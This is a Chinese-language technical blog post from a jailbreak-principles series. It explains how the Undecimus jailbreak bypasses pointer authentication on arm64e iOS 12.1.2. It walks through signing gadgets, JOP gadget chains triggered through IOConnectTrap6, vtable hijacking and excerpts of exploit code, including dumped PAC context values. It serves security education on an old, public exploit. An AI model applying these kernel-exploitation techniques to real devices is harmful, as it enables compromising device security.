系列文章
- iOS Jailbreak Principles - Sock Port 漏洞解析(一)UAF 與 Heap Spraying
- iOS Jailbreak Principles - Sock Port 漏洞解析(二)通過 Mach OOL Message 洩露 Port Address
- iOS Jailbreak Principles - Sock Port 漏洞解析(三)IOSurface Heap Spraying
- iOS Jailbreak Principles - Sock Port 漏洞解析(四)The tfp0 !
- iOS Jailbreak Principles - Undecimus 分析(一)Escape from Sandbox
- iOS Jailbreak Principles - Undecimus 分析(二)通過 String XREF 定位核心資料
- iOS Jailbreak Principles - Undecimus 分析(三)通過 IOTrap 實現核心任意程式碼執行
前言
在 上一篇文章 中我們介紹了非 arm64e 下通過 IOTrap 實現 kexec 的過程。阻礙 arm64e 實現這一過程的主要因素是 PAC (Pointer Authentication Code) 緩解措施,在這一篇文章中我們將介紹 Undecimus 中繞過 PAC 機制的過程。
整個繞過過程十分複雜,本文的主要參考資料為 Examining Pointer Authentication on the iPhone XS 和 Undecimus 中與 arm64e 相關的 PAC Bypass 程式碼。
PAC 的一些特點
什麼是 PAC 這裡不再贅述,簡言之就是一種對返回地址、全域性指標等的一種簽名與驗籤保護機制,詳細定義和機制讀者可以自行查閱資料,這裡僅給出一個簡單的例子來幫助理解 PAC 實現。
下面這段程式碼中包含了一個全域性數值變數、一個基於函式指標 fptr 的動態函式呼叫,猜一下哪些值會被 PAC 保護呢?
// pac.cpp
#include <cstdio>
int g_somedata = 102;
int tram_one(int t) {
printf("call tramp one %d\n", t);
return 0;
}
void step_ptr(void *ptr) {
*reinterpret_cast<void **>(ptr) = (void *)&tram_one;
}
int main(int argc, char **argv) {
g_somedata += argc;
void *fptr = NULL;
step_ptr(fptr);
(reinterpret_cast<int (*)(int)>(fptr))(g_somedata);
return 0;
}
複製程式碼
下面我們用 clang 將 cpp 編譯連結並生成 arm64e 下的彙編程式碼:
clang -S -arch arm64e -isysroot `xcrun --sdk iphoneos --show-sdk-path` -fno-asynchronous-unwind-tables pac.cpp -o pace.s
複製程式碼
生成的完整彙編結果為:
.section __TEXT,__text,regular,pure_instructions
.build_version ios, 13, 0 sdk_version 13, 0
.globl __Z8tram_onei ; -- Begin function _Z8tram_onei
.p2align 2
__Z8tram_onei: ; @_Z8tram_onei
.cfi_startproc
; %bb.0:
pacibsp
sub sp, sp, #32 ; =32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16 ; =16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
ldur w0, [x29, #-4]
; implicit-def: $x1
mov x1, x0
mov x8, sp
str x1, [x8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov w9, #0
str w0, [sp, #8] ; 4-byte Folded Spill
mov x0, x9
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32 ; =32
retab
.cfi_endproc
; -- End function
.globl __Z8step_ptrPv ; -- Begin function _Z8step_ptrPv
.p2align 2
__Z8step_ptrPv: ; @_Z8step_ptrPv
; %bb.0:
sub sp, sp, #16 ; =16
adrp x8, l__Z8tram_onei$auth_ptr$ia$0@PAGE
ldr x8, [x8, l__Z8tram_onei$auth_ptr$ia$0@PAGEOFF]
str x0, [sp, #8]
ldr x0, [sp, #8]
str x8, [x0]
add sp, sp, #16 ; =16
ret
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
pacibsp
sub sp, sp, #64 ; =64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48 ; =48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _g_somedata@PAGE
add x8, x8, _g_somedata@PAGEOFF
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
stur x1, [x29, #-16]
ldur w0, [x29, #-8]
ldr w9, [x8]
add w9, w9, w0
str w9, [x8]
mov x8, #0
str x8, [sp, #24]
ldr x0, [sp, #24]
bl __Z8step_ptrPv
adrp x8, _g_somedata@PAGE
add x8, x8, _g_somedata@PAGEOFF
ldr x0, [sp, #24]
ldr w9, [x8]
str x0, [sp, #16] ; 8-byte Folded Spill
mov x0, x9
ldr x8, [sp, #16] ; 8-byte Folded Reload
blraaz x8
mov w9, #0
str w0, [sp, #12] ; 4-byte Folded Spill
mov x0, x9
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64 ; =64
retab
.cfi_endproc
; -- End function
.section __DATA,__data
.globl _g_somedata ; @g_somedata
.p2align 2
_g_somedata:
.long 102 ; 0x66
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "call tramp one %d\n"
.section __DATA,__auth_ptr
.p2align 3
l__Z8tram_onei$auth_ptr$ia$0:
.quad __Z8tram_onei@AUTH(ia,0)
.subsections_via_symbols
複製程式碼
返回地址保護
這裡有幾個值得注意的地方,第一個是每個巢狀了呼叫的函式的開頭和結尾處都被插入了 PAC 指令:
__Z8tram_onei:
pacibsp
; ...
retab
複製程式碼
這裡 PAC 用 Instruction Key B 保護了函式的返回地址,有效防止了 JOP 攻擊。
再看一下全域性變數的宣告和訪問:
.section __DATA,__data
.globl _g_somedata ; @g_somedata
.p2align 2
_g_somedata:
.long 102 ; 0x66
adrp x8, _g_somedata@PAGE
add x8, x8, _g_somedata@PAGEOFF
ldr w9, [x8]
複製程式碼
可見常規的數值變數並沒有在 PAC 的保護之下。
指標保護
下面我們來看一下函式指標的賦值與呼叫:
int tram_one(int t) {
printf("call tramp one %d\n", t);
return 0;
}
void step_ptr(void *ptr) {
*reinterpret_cast<void **>(ptr) = (void *)&tram_one;
}
int main(int argc, char **argv) {
// ...
void *fptr = NULL;
step_ptr(fptr);
(reinterpret_cast<int (*)(int)>(fptr))(g_somedata);
return 0;
}
複製程式碼
首先可以看到 tram_one 函式地址這一全域性符號受到了 PAC 保護:
.section __DATA,__auth_ptr
.p2align 3
l__Z8tram_onei$auth_ptr$ia$0:
.quad __Z8tram_onei@AUTH(ia,0)
複製程式碼
step_ptr
函式中對應的訪問程式碼:
__Z8step_ptrPv:
; ...
adrp x8, l__Z8tram_onei$auth_ptr$ia$0@PAGE
ldr x8, [x8, l__Z8tram_onei$auth_ptr$ia$0@PAGEOFF]
; ...
複製程式碼
在執行 (reinterpret_cast<int (*)(int)>(fptr))(g_somedata);
呼叫時,採用了帶 PAC 驗證的指令:
_main:
; ...
; x8 = l__Z8tram_onei$auth_ptr$ia$0
blraaz x8
複製程式碼
PAC 對 JOP 的影響
在上一篇文章中我們實現 kexec 的關鍵在於劫持一個虛擬函式,這裡所修改的地址有:
- 修改虛擬函式表的 getTargetAndTrapForIndex 指標指向 Gadget;
- 構造 IOTrap,其 func 指向要執行的核心函式。
不幸的是,這兩個地址都受到了 PAC 機制的保護[1],所以我們之前的 kexec 方法在 arm64e 上就失效了。以下的程式碼摘自於參考資料[1]:
loc_FFFFFFF00808FF00
STR XZR, [SP,#0x30+var_28] ;; target = NULL
LDR X8, [X19] ;; x19 = userClient, x8 = ->vtable
; 1. vtable is under protection
AUTDZA X8 ;; validate vtable's PAC
; ...
MOV X0, X19 ;; x0 = userClient
; 2. vtable->getTargetAndTrapForIndex is under protection
BLRAA X8, X9 ;; PAC call ->getTargetAndTrapForIndex
; ...
MOV X9, #0 ;; Use context 0 for non-virtual func
B loc_FFFFFFF00808FF70
; ...
loc_FFFFFFF00808FF70
; ... not set x9
; 3. trap->func is under protection
BLRAA X8, X9 ;; PAC call func(target, p1, ..., p6)
; ...
複製程式碼
由上面的程式碼可知,在 arm64e 架構的 iOS 12.1.2 核心程式碼中,虛擬函式表、虛擬函式指標和 IOTrap 的函式指標都得到了 PAC 保護。
需要特別注意的是,這裡的 trap->func 呼叫所使用的 context 暫存器 X9 被寫入了 0,即 BLRAA 相當於驗簽了一個 PACIZA 簽名的地址,這是實現第一個受限 kexec 的重要突破口。
繞過 PAC 的理論分析
限制條件
在 參考資料[1] 的 write-up 中很大篇幅講述了從軟體白盒、硬體黑盒的角度對 PAC 進行的分析與繞過嘗試,並得到了如下結論:
- 儲存 PAC Key 的暫存器只能在 EL1 模式下訪問,而使用者態處於 EL0,無法直接訪問這些系統暫存器;
- 即使我們能從核心的記憶體中讀取到 PAC Key,如果不能逆向出完整的加解密過程,依然無法偽造簽名;
- Apple 在 EL0 和 EL1 中使用了不同的 PAC Key,這就打破了 Croess-EL PAC Forgeries;
- Apple 在實現 PACIA, PACIB, PACDA 和 PACDB 這些指令時採用了不同的演算法,即使全部使用相同的 Key 也會得到不同的結果,這就打破了 Cross-Key Symmetry;
- 雖然在軟體層面看 PAC Key 是 hardcode 的,但事實證明每次啟動 PAC Key 都會變化。
這 5 條限制每一條都刺痛著嘗試繞過 PAC 的人們的心,可見蘋果在這一方面做了非常多變態的保護企圖將 JOP 徹底解決。此外蘋果還在公開的 XNU 程式碼中刪除了與 PAC 相關的細節,並通過控制流混淆等手段阻止黑客在 kernelcache 中輕易找到可用的 Signing Gadgets。
有利條件
不得不佩服這些核心大佬的功力,即使在如此重重保護下 Brandon Azad 依然找到了 PAC 在實現上的一些軟體漏洞:
- PAC 在進行驗籤時,如果發現驗籤失敗,它會將 2 位 error code 插入到指標的 62~61 區域,這裡是 pointer's extension bits;
- PAC 在執行簽名時,如果發現指標的 extension bits 異常,它仍然會插入正確的簽名,只是會通過翻轉 PAC 的最高位 (第 62 位) 來使指標失效。
有趣的事情來了,如果我們把一個常規的地址交給 PAC 驗籤 (AUT*
),那麼它會給指標的 extension bits 插入一個 error code 使其異常。此後如果再將這個值進行簽名 (PAC*
),由於 error code 的存在會簽名失敗,但是正確的 PAC 依然會被計算並插入,只是指標的第 62 位被翻轉了。因此我們只要找到一個先對指標的值進行 AUT*
,隨後再進行 PAC*
最後將值寫入固定記憶體的程式碼片段即可作為 Signing Gadget。
PACIZA Signing Gadget
基於上面的理論,Brandon Azad 在 arm64e 的 kernelcache 中發現了一個滿足上述有利條件的程式碼片段:
void sysctl_unregister_oid(sysctl_oid *oidp)
{
sysctl_oid *removed_oidp = NULL;
sysctl_oid *old_oidp = NULL;
BOOL have_old_oidp;
void **handler_field;
void *handler;
uint64_t context;
...
if ( !(oidp->oid_kind & 0x400000) ) // Don't enter this if
{
...
}
if ( oidp->oid_version != 1 ) // Don't enter this if
{
...
}
sysctl_oid *first_sibling = oidp->oid_parent->first;
if ( first_sibling == oidp ) // Enter this if
{
removed_oidp = NULL;
old_oidp = oidp;
oidp->oid_parent->first = old_oidp->oid_link;
have_old_oidp = 1;
}
else
{
...
}
handler_field = &old_oidp->oid_handler;
handler = old_oidp->oid_handler;
if ( removed_oidp || !handler ) // Take the else
{
...
}
else
{
removed_oidp = NULL;
context = (0x14EF << 48) | ((uint64_t)handler_field & 0xFFFFFFFFFFFF);
*handler_field = ptrauth_sign_unauthenticated(
ptrauth_auth_function(handler, ptrauth_key_asia, &context),
ptrauth_key_asia,
0);
...
}
...
}
複製程式碼
可以看到在程式碼的最底部有一個 unauth 與 auth 的巢狀呼叫,先對 handler 執行 auth 即 AUT*
,隨後立即執行 unauth,即 PAC*
,正好滿足了 Signing Gadget 條件。另外一個重要條件是簽名結果必須寫入穩定的記憶體,使得我們能夠輕易、穩定地讀取到。這裡寫入的 handler_field
指向 old_oidp->oid_handler
,繼續分析可知它來自於函式入參的 oidp
。
尋找 Gadget
下一步的關鍵就是如何觸發 sysctl_unregister_oid
並控制 oidp
的值。幸運的是 sysctl_oid
是被 global sysctl tree
所持有的,用於向核心中註冊引數。雖然沒有任何直接指向 sysctl_unregister_oid
的指標,但許多 kext 在啟動時會通過 sysctl 註冊引數,在結束時會通過 sysctl_unregister_oid
實現反註冊,這是一個重要的線索。
最終 Brandon Azad 在 com.apple.nke.lttp
這一 kext 中找到了一對函式 l2tp_domain_module_stop
和 l2tp_domain_module_start
,呼叫前者時會傳遞一個全域性變數 sysctl__net_ppp_l2tp
來實現反註冊,呼叫後者可以重新啟動模組,並且這對函式包含可被定位的引用,該引用是通過 Instruction Key A 無 Context 簽名的。
還記得文章開頭提到的非虛擬函式地址在進行 IOTrap->func
呼叫時也是通過 Instruction Key A 和無 Context 進行驗籤的。因此我們只需要通過 XREF 技術定位到函式地址和全域性變數地址,即可通過修改 sysctl__net_ppp_l2tp
來篡改 old_oidp->oid_handler
,接下來只要找到呼叫 l2tp_domain_module_stop
的方法就可以實現對任意地址的 PACIZA 簽名了。
觸發 Gadget
似乎找到 l2tp_domain_module_stop
和找到一個 kexec 一樣困難,但事實上它比一個完整的 kexec 簡單的多,這是因為 l2tp_domain_module_stop
是無參的。我們依然可以嘗試利用 IOTrap,但這一次我們無法劫持虛擬函式,因此需要找到一個已存在的包含 IOTrap 呼叫的物件。
所幸 Brandon Azad 在 kernelcache 中找到了一個 IOAudio2DeviceUserClient 類,它預設實現了 getTargetAndTrapForIndex 並提供了一個 IOTrap:
IOExternalTrap *IOAudio2DeviceUserClient::getTargetAndTrapForIndex(
IOAudio2DeviceUserClient *this, IOService **target, unsigned int index)
{
...
*target = (IOService *)this;
return &this->IOAudio2DeviceUserClient.traps[index];
}
IOAudio2DeviceUserClient::initializeExternalTrapTable() {
// ...
this->IOAudio2DeviceUserClient.trap_count = 1;
this->IOAudio2DeviceUserClient.traps = IOMalloc(sizeof(IOExternalTrap));
// ...
}
複製程式碼
這裡的 getTargetAndTrapForIndex
將 target 指定為自己,這使得 trap->func
呼叫的隱含引數無法修改,即通過這種方式無法傳遞 arg0,也就只能通過篡改 trap->func
實現無參函式或是程式碼塊的呼叫。
基於上述討論,整個 PACIZA Signing Gadget 的構造和呼叫過程如下:
- 通過 IOKit 的 userland 介面啟動一個 IOAudio2DeviceService,獲取到 IOAudio2DeviceUserClient 的
mach_port
控制程式碼; - 通過控制程式碼找到其
ipc_port
,其ip_kobject
指標指向的是真正的 IOAudio2DeviceUserClient 物件。先記錄下物件地址,隨後在物件上找到 traps 地址,由於 IOAudio2DeviceUserClient 只宣告瞭一個 trap,traps 的首地址即我們要修改的 IOTrap 的地址; - 通過 String XREF 技術定位
l2tp_domain_module_start
,l2tp_domain_module_stop
和sysctl__net_ppp_l2tp
的地址,先快取原始的sysctl_oid
,隨後構造sysctl_oid
滿足sysctl_unregister_oid
特定的執行路徑,最後將sysctl_oid->oid_handler
賦值為需要簽名的地址; - 修改第 2 步找到的 trap,將其 func 指向
l2tp_domain_module_stop
,並通過 IOConnectTrap6 觸發 IOAudio2DeviceUserClient 物件的IOTrap->func
呼叫,這裡便實現了對l2tp_domain_module_stop
的呼叫,隨後會執行到sysctl_unregister_oid
,並將簽名失敗的結果寫入sysctl__net_ppp_l2tp->oid_handler
,此時我們可以讀取結果,並翻轉第 62 位得到正確的簽名; - 最後一步是通過
l2tp_domain_module_start
重啟服務,但這裡需要傳遞新的sysctl_oid
作為入參,通過上面的 Primitives 是無法完成的。
清理環境
由於 IOAudio2DeviceUserClient 的 IOTrap 呼叫僅能實現無參的 kexec,我們無法在完成 PACIZA 簽名後重啟 IOAudio2DeviceUserClient 服務,這會使得 Signing Gadget 失去冪等性,或是留下其他隱患,因此必須找到一個能有參呼叫 kexec 的辦法來重啟服務。
問題的關鍵是 IOTrap->func
呼叫時 arg0 指向了 this,因此單次呼叫時肯定無法修改 arg0 了,我們這裡可以嘗試多次跳轉。所幸在 kernelcache 中有這樣的一段程式碼:
MOV X0, X4
BR X5
複製程式碼
由於我們通過 IOConnectTrap6 能控制 x1 ~ x6,所以通過 x4 既能間接控制 x0,x5 即是下一跳的地址,我們先讓 IOTrap->func
指向這一片段的 PACIZA'd 地址,然後通過 x4 控制 arg0,x1 ~ x3 控制 arg1 ~ arg3,x5 控制 JOP 的目標地址,即可實現一個 4 個引數的 kexec。
因此我們只需要用上面的無參呼叫去簽名一下上述程式碼塊的地址,然後將其作為 IOTrap->func
的地址,再通過 IOConnectTrap6 的入參控制 x1 ~ x5 即可實現對 l2tp_domain_module_start
的帶參呼叫,這裡傳遞的是之前備份的 sysctl_oid
,從而完美的恢復現場。
到這裡,一個完美的 PACIZA Signing Gadget 就達成了,同時我們還得到了一個非常有用的程式碼片段的 PACIZA 簽名:
MOV X0, X4
BR X5
複製程式碼
我們將其稱為 G1,也是這是後續工作的一個重要 Gadget。
PACIA & PACDA Signing Gadget
遺憾的是許多呼叫點(例如虛擬函式)都採用了帶有 Context 的呼叫方式,例如上文中提到的片段:
context = (0x14EF << 48) | ((uint64_t)handler_field & 0xFFFFFFFFFFFF);
*handler_field = ptrauth_sign_unauthenticated(
ptrauth_auth_function(handler, ptrauth_key_asia, &context),
ptrauth_key_asia,
0);
複製程式碼
這就要求我們找到包含 PACIA 和 PACDA 的程式碼塊,且他們要將簽名結果寫入穩定的記憶體。所幸這樣的 Gadget 也是存在的:
; sub_FFFFFFF007B66C48
; ...
PACIA X9, X10
STR X9, [X2,#0x100]
; ...
PACDA X9, X10
STR X9, [X2,#0xF8]
; ...
PACIBSP
STP X20, X19, [SP,#var_20]!
... ;; Function body (mostly harmless)
LDP X20, X19, [SP+0x20+var_20],#0x20
AUTIBSP
MOV W0, #0
RET
複製程式碼
這一段程式碼同時包含了 PACIA 和 PACDA,且後續都通過 STR 寫入了記憶體。唯一不足的是在執行完語句後距離 RET 還有很遠的距離,且當前入口點位於函式的中間位置。所幸函式真正的開場白位於這些指令之後:
PACIBSP
STP X20, X19, [SP,#var_20]!
; ...
複製程式碼
所以似乎我們從中部進入函式不會有太多的不良影響,在這裡我們只需要控制 x9 作為指標,x10 作為 context,x2 控制寫入的記憶體區域,即可實現一個 PACIA & PACDA 的簽名偽造。
但是基於 IOAudio2DeviceUserClient 的 IOConnectTrap6 我們只能控制 x1 ~ x6,無法直接控制 x9 和 x10,這裡就需要我們尋找更多的 Gadget 來實現組合呼叫來控制 x9 和 x10。
隨後 Brandon Azad 在 kernelcache 中又搜尋到了幾個可利用的 Gadget,截止到目前我們總共有 3 個可用的 Gadget:
; G1
MOV X0, X4
BR X5
; G2
MOV X9, X0
BR X1
; G3
MOV X10, X3
BR X6
複製程式碼
G1 使我們能通過 x4 控制 x0,再通過 G2 可將 x0 寫入 x9,最後通過 G3 將 x3 寫入 x10,G1 -> G2 通過 X5 指向 G2 實現,G2 - > G3 通過 X1 指向 G3 實現,最後通過 x6 即可跳轉到包含 PACIA & PACDA 的 Gadget,此時 x2, x9, x10 均已間接填入合適的引數,因此可以完成一個 PACIA & PACDA Forgery。
上述呼叫環環相扣,且不能有任何暫存器上的重疊,否則將無法有效地準備引數,我們難以想象找到這麼一組 Gadget 耗費了多麼大的精力,在這裡向大佬致敬。基於上述討論,我們以 G1 為 IOTrap->func
的入口點,如下準備 IOConnectTrap6 的引數:
trap->func = paciza(G1);
arg1 = x1 = G3;
arg2 = x2 = buffer_to_save_pacxad_pointer;
arg3 = x3 = context;
arg4 = x4 = pointer;
arg5 = x5 = G2;
arg6 = x6 = sub_FFFFFFF007B66C48_PACXA_ENTRY
複製程式碼
這會形成一個鏈式呼叫,控制流如下:
MOV X0, X4
BR X5
MOV X9, X0
BR X1
MOV X10, X3
BR X6
PACIA X9, X10
STR X9, [X2,#0x100]
; ...
PACDA X9, X10
STR X9, [X2,#0xF8]
; ...
複製程式碼
到這裡我們就通過一系列的 Gadget 和 IOConnectTrap6 實現了 PACIA & PACDA 的 Forgery。
完美的 kexec
到這裡我們已經可以偽造 Key A 的任意簽名,但依然沒有實現完美的 kexec,此時我們還只能實現 4 個引數的 kexec,其根本原因是我們依賴於 IOAudio2DeviceUserClient 對 getTargetAndTrapForIndex 的預設實現,遺憾的是這一實現中將 target 設定為了 this 從而導致我們無法直接控制 arg0,轉向 Gadget 後則會遇到 4 個引數的限制:
IOExternalTrap *IOAudio2DeviceUserClient::getTargetAndTrapForIndex(
IOAudio2DeviceUserClient *this, IOService **target, unsigned int index)
{
...
*target = (IOService *)this;
return &this->IOAudio2DeviceUserClient.traps[index];
}
複製程式碼
為了能實現完美的 kexec,最好的辦法依然是劫持虛擬函式,雖然 PAC 對虛擬函式表和虛擬函式指標做了簽名,但它是通過 Key A 完成的,到這裡我們已經能夠偽造這些簽名,從而再次實現虛擬函式的劫持。
修改 getTargetAndTrapForIndex 為預設實現
IOAudio2DeviceUserClient 覆蓋實現的 getTargetAndTrapForIndex 給我們帶來了麻煩,這裡我們可以將其修改為父類的預設實現:
IOExternalTrap * IOUserClient::
getTargetAndTrapForIndex(IOService ** targetP, UInt32 index)
{
IOExternalTrap *trap = getExternalTrapForIndex(index);
if (trap) {
*targetP = trap->object;
}
return trap;
}
複製程式碼
由於 IOAudio2DeviceUserClient 的 traps 不是通過 getExternalTrapForIndex 取得的,這裡我們還需要繼續修改 getExternalTrapForIndex 方法,使其能夠返回一個構造的 IOTrap,這裡遇到的一個問題是父類預設實現為返回空值:
IOExternalTrap * IOUserClient::
getExternalTrapForIndex(UInt32 index)
{
return NULL;
}
複製程式碼
這就需要我們在 IOUserClient 上找到一個合適的函式和成員變數,使得該函式返回成員變數或成員變數的某個引用,這樣我們就能間接地通過控制成員變數來返回特定的 IOTrap。幸運的是 IOUserClient 間接繼承了超類 IORegistryEntry,它包含了一個 reserved 成員和一個返回該成員的成員函式:
class IORegistryEntry : public OSObject
{
// ...
protected:
/*! @var reserved
Reserved for future use. (Internal use only) */
ExpansionData * reserved;
public:
uint64_t IORegistryEntry::getRegistryEntryID( void )
{
if (reserved)
return (reserved->fRegistryEntryID);
else
return (0);
}
複製程式碼
可見我們只要將虛擬函式表中的 getExternalTrapForIndex
指向 IORegistryEntry::getRegistryEntryID
,再修改 UserClient 例項的 reversed 使其 reserved->fRegistryEntryID
指向我們構造的 IOTrap 即可。
通過上述改造,我們再次獲得了一個完美的支援 7 個入參的 kexec,理論分析起來容易,要實施這一過程是十分複雜的,因為每一個虛擬函式所使用的 sign context 是不同的,這就要求 dump 出所有的 sign context 再進行處理。
繞過 PAC 的程式碼導讀
經過理論分析相信讀者已經對整個繞過的過程有了整體認識,由於整個過程太過複雜,單單進行理論分析難免會讓人云裡霧裡,將上述理論分析結合閱讀 Undecimus 中的程式碼可以很好的加深理解。
這部分程式碼位於上一篇文章提到的 init_kexec
和 kexec
兩個函式中,針對 arm64e 架構採用了完全不同的手段。鑑於本文的理論分析部分已涉及到大量的程式碼,這裡不再完整的進行分析,只說幾個理論分析中未完全提及的內容。完整的程式碼請讀者結合上述理論分析自行閱讀,相信你會有很大的收穫。
經過上面的分析相信讀者能夠輕易地理解 kernel_call_init
中的 stage1_kernel_call_init
和 stage2_kernel_call_init
,這兩個階段主要是完成 UserClient 的啟動和 G1 的簽名工作,需要注意的是在 stage2_kernel_call_init->stage1_init_kernel_pacxa_forging
的結尾處建立了一個 buffer,用來儲存新的虛擬函式表以及 PACIA & PACDA 的簽名結果:
static void
stage1_init_kernel_pacxa_forging() {
// ...
kernel_pacxa_buffer = stage1_get_kernel_buffer();
}
複製程式碼
此外 A12 在 iOS 12.1.2 的 PAC 機制也允許在 userland 通過 XPAC 指令直接將一個加簽的指標還原,這給我們拷貝虛擬函式錶帶來了極大的便利,這段程式碼位於 stage3_kernel_call_init
中:
uint64_t
kernel_xpacd(uint64_t pointer) {
#if __arm64e__
return xpacd(pointer);
#else
return pointer;
#endif
}
static uint64_t *
stage2_copyout_user_client_vtable() {
// Get the address of the vtable.
original_vtable = kernel_read64(user_client);
uint64_t original_vtable_xpac = kernel_xpacd(original_vtable);
// Read the contents of the vtable to local buffer.
uint64_t *vtable_contents = malloc(max_vtable_size);
assert(vtable_contents != NULL);
kernel_read(original_vtable_xpac, vtable_contents, max_vtable_size);
return vtable_contents;
}
複製程式碼
在 patch 虛擬函式表時,每個函式都有其特定的 context,因此這裡使用了 dump 出來的對應於每個虛擬函式的 PAC Code,這段程式碼位於 stage2_patch_user_client_vtable
中:
static size_t
stage2_patch_user_client_vtable(uint64_t *vtable) {
// ...
#if __arm64e__
assert(count < VTABLE_PAC_CODES(IOAudio2DeviceUserClient).count);
vmethod = kernel_xpaci(vmethod);
uint64_t vmethod_address = kernel_buffer + count * sizeof(*vtable);
vtable[count] = kernel_forge_pacia_with_type(vmethod, vmethod_address,
VTABLE_PAC_CODES(IOAudio2DeviceUserClient).codes[count]);
#endif // __arm64e__
}
return count;
}
複製程式碼
這裡針對每個虛擬函式都採用了不同的 PAC Code,dump 出的 PAC Code 通過靜態變數儲存,並藉助巨集 VTABLE_PAC_CODES
進行訪問,這裡的每個 context 長度只有 16 位:
static void
pac__iphone11_8__16C50() {
INIT_VTABLE_PAC_CODES(IOAudio2DeviceUserClient,
0x3771, 0x56b7, 0xbaa2, 0x3607, 0x2e4a, 0x3a87, 0x89a9, 0xfffc,
0xfc74, 0x5635, 0xbe60, 0x32e5, 0x4a6a, 0xedc5, 0x5c68, 0x6a10,
0x7a2a, 0xaf75, 0x137e, 0x0655, 0x43aa, 0x12e9, 0x4578, 0x4275,
0xff53, 0x1814, 0x122e, 0x13f6, 0x1d35, 0xacb1, 0x7eb0, 0x1262,
0x82eb, 0x164e, 0x37a5, 0xb659, 0x6c51, 0xa20f, 0xb3b6, 0x6bcb,
0x5a20, 0x5062, 0x00d7, 0x7c85, 0x8a26, 0x3539, 0x688b, 0x1e60,
0x1955, 0x0689, 0xc256, 0xa383, 0xf021, 0x1f0a, 0xb4bb, 0x8ffc,
0xb5b9, 0x8764, 0x5d96, 0x80d9, 0x0c9c, 0x5d0a, 0xcbcc, 0x617d
// ...
);
}
複製程式碼
其他部分基本在理論分析中都已提到,這裡不再贅述。
總結
本文介紹了 PAC 緩解措施的特點以及 iOS 12.1.2 在 A12 上的繞過方法,整個過程可以說是讓人歎為觀止。通過研究整個 bypass 過程不僅讓我們對 PAC 機制有了更深刻的認識,也學到了許多 JOP 的騷操作。